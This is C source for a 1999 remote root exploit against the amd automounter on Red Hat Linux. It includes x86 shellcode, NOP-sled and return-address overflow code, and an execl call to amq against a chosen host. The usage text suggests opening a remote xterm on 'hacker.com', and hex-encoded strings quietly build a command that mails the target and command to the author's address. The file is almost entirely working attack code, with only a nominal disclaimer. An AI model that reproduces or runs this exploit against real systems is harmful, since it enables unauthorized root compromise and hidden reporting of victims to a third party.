/*

    Amd Buffer Overflow for x86 linux

    Remote user can gain root access.

    Tested redhat linux : 4.0, 5.1, 6.0
    Tested am-utils version : 6.0

    What requires
    /usr/sbin/amq

    Usage
    $ amd-ex <hostname> <command> [offset]

    Warning : This program can crash amd.

    This program is only for demonstrative use only.
    USE IT AT YOUR OWN RISK!

     Programmed by Taeho Oh 1999/08/31

 Taeho Oh ( ohhara@postech.edu )            http://postech.edu/~ohhara
 PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
 PosLUG ( Postech Linux User Group     http://postech.edu/group/poslug

*/
    
#include <stdio.h>
#include <stdlib.h>
    
#define OFFSET                            0
#define RET_POSITION                   1002
#define RANGE                            20
#define NOP                            0x90
    
char shellcode[1024]=
    "\xeb\x35"                      /* jmp 0x35             */
    "\x5e"                          /* popl %esi            */
    "\x89\x76\x0b"                  /* movl %esi,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x08"                  /* addl $0x8,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x89\xf0"                      /* movl %esi,%eax       */
    "\x83\xc0\x0b"                  /* addl $0xb,%eax       */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\x31\xc0"                      /* xorl %eax,%eax       */
    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
    "\x88\x46\x0a"                  /* movb %eax,0xa(%esi)  */
    "\x88\x46\x0b"                  /* movb %eax,0xb(%esi)  */
    "\x89\x46\x0b"                  /* movl %eax,0xb(%esi)  */
    "\xb0\x0b"                      /* movb $0xb,%al        */
    "\x89\xf3"                      /* movl %esi,%ebx       */
    "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx  */
    "\x8d\x56\x0b"                  /* leal 0xb(%esi),%edx  */
    "\xcd\x80"                      /* int 0x80             */
    "\x31\xdb"                      /* xorl %ebx,%ebx       */
    "\x89\xd8"                      /* movl %ebx,%eax       */
    "\x40"                          /* inc %eax             */
    "\xcd\x80"                      /* int 0x80             */
    "\xe8\xc6\xff\xff\xff"          /* call -0x3a           */
    "/bin/sh -c ";                  /* .string "/bin/sh -c "*/

char command[800];

void usage()
{
    printf("Warning : This program can crash amd\n");
    printf("Usage: amd-ex <hostname> <command> [offset]\n");
    printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}

int main(int argc,char **argv)
{
    char buff[RET_POSITION+RANGE+1],*ptr;
    char target[256];
    char cmd[1024];
    long *addr_ptr,addr;
    unsigned long sp;
    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
    int i;
    
    printf("Taeho Oh ( ohhara@postech.edu )             http://postech.edu/~ohhara\n");
    printf("PLUS ( Postech Laboratory for Unix Security )  http://postech.edu/plus\n");
    printf("PosLUG ( Postech Linux User Group )    http://postech.edu/group/poslug\n\n");
    
    if(argc<3)
    {
      usage();
      exit(1);
    }
    
    if(argc>2)
    {
      strcpy(target,argv[1]);
      strcpy(command,argv[2]);
    }
    if(argc>3)
      offset=atoi(argv[3]);

    shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
    shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
    shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
    shellcode[32]=(shellcode[32]+strlen(command));
    shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
    shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
    shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
    strcat(shellcode,command);

    strcpy(cmd,"\x65\x63\x68\x6f\x20");
    strcat(cmd,target);
    strcat(cmd,"\x20");
    strcat(cmd,command);
    strcat(cmd,"\x7c");
    strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
    strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
    strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
    strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");

    sp=0xbffff34d;
    addr=sp-offset;

    ptr=buff;
    addr_ptr=(long*)ptr;
    for(i=0;i<bsize;i+=4)
      *(addr_ptr++)=addr;

    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
      buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
    for(i=0;i<strlen(shellcode);i++)
      *(ptr++)=shellcode[i];
    
    buff[bsize-1]='\0';

    for(i=bsize;i>1;i--)
      buff[i-1]=buff[i-2];

    buff[bsize-1]='\0';

    printf("Jump to 0x%08x\n",addr);

    execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}

/*                    www.hack.co.za                    */